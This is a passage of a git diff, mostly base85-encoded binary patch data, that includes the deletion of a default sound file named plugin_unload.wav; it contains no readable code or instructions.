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 PF`f-;#HT<(-YouqIv)j| diff --git a/data/sounds/default/plugin_unload.wav b/data/sounds/default/plugin_unload.wav deleted file mode 100755 index 19272d765d39164615355c9885da4a84e4905bcf..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 94796 zcmeFZg_jh`6D?esCGFj#%;3%fi|e9`yR*2vyR*RJEbi{^?(XigxWh2o)81W{Sub+F z^ZgO;o!|CZY`VLuG9z!?h`14L8aHTAZ#3dM)NWtD|FE(7qBxF2@G8)r<LVvaILt+H zeS3}Vl@H$Y|N4JZIF(DMZ;1`X<9$XeqqZ@Vs$3Z9R3Rqh!UK%QG&fg+dvBaF_82XU zAeW3*(_*9-x`6{Um5kuNao>!a#!@4<fsu$q)J<-3^N@{8;C2{wjoF+9d5q6SKjR^- zj7H++v><uK9Y7tqW85hET~EZNg#h`b>70tfh8x~@pO#1ca0NP0=dmcvrdD#1n~0tm z8;$eED1-g^Ph&d$$el-HjAY8b`!Y8f`RGp)jSAo@#u&PhtAZ{YQ;hc95pJ=OJ?k^< zIX)T}jS^gE&SxYUuZ#o6LM{PKGjuwhOXvRL_Hln1`{*{VHu~3yHR8DvTrciA*TUEg z*Sd%%8zDM?dj_9A&DAyjr3Fv}9HG9fXJz+Oo14w8=gK2?zZLOdVJoSnIdBePE3HX} zaIZOP=*GWBv=NVr;}>)%aiCndy>W!r;3jizxIG+aaC9t6#n<UfvWshk)^cT$K+Sp| zd`I|7u4!kv5vU1TgFotLm5Ra;a|ivnoQ$6E0VCP?MILJv`JvK4{h9m)UlG|J{Ao<1 zXYokUqkmE!;dSB(+MmR8#bMR^pds|F-T*DeujwJ;=02gu#!A|RTM28G(_r@^aAsJe zAI34GC)~Ac4CCH&RwIGV<V+|xSB<M=jG%0fFB_AMLq<o~V;g!;&yb2}5T0wevi2zf zmBodO#<V`S7@nOPyNrfLGWQJaqpb<MHd_N`dv&?F+<K#&@!B|IT;-;t%k=N8pO-K? z(^#%3=i`!4exoie$MxfyaI3jpMq}eoZhDqIF683Td*iHe)tF`^agR_R<2HTG9YKd^ zXR?^fm1Q&R=WOk}b62?+bT`;YA^ec8C#|?`@cI+YrFN2vUh;p?QF>9-26yK!b2sT+ z(g-cZYmG9n3U{;Y=)SSqXu)mdn0-!!yDG!=;ZzzRi%~AV9PO{qLk@m5EkRnL9r&AZ z-RMY9=p07E5z<}Dg)0l}d1o7DqaL0o3?m=Z*XS_M?1BCJVcbO=NM5Qv@RclkIn511 zXSreM4?0FafZFk?^f|d|OgEmOP5j>^qVl{+T1E<L(-Gp?89PRM61MLJ^+qzYjrQcQ zS_Z5)78euF=_8eOd^wY$BlR116Rku=`OSJ2MHH;&=lTw%JvxfVaH-sPa!VV)Ka~>o z^0JKmVrP0vZ^$hL%RPdyA<*;OSj5gaJ2T8?86MQ;W^&^>H@6i~gYEHoV~o*<yUk%k zg0nsxH>AsSh6(kJ1vC{-T);>*9&oD>v+)C{1Am(?BJ4ideR=3-vXU!;m>sgS-q|=q ztD*7OPIKz)tTBvfW9-RV`x?e1+61k{`)Es&57oi!`qhjHGzYFIY$jE;KKP#So}ALy z{<8h)tKX9s@`<K$q`x{Hp#CK4$8RTfv_^QDaE^{5Md1Yg$xY+fc^-?BaY5QxXL!VL 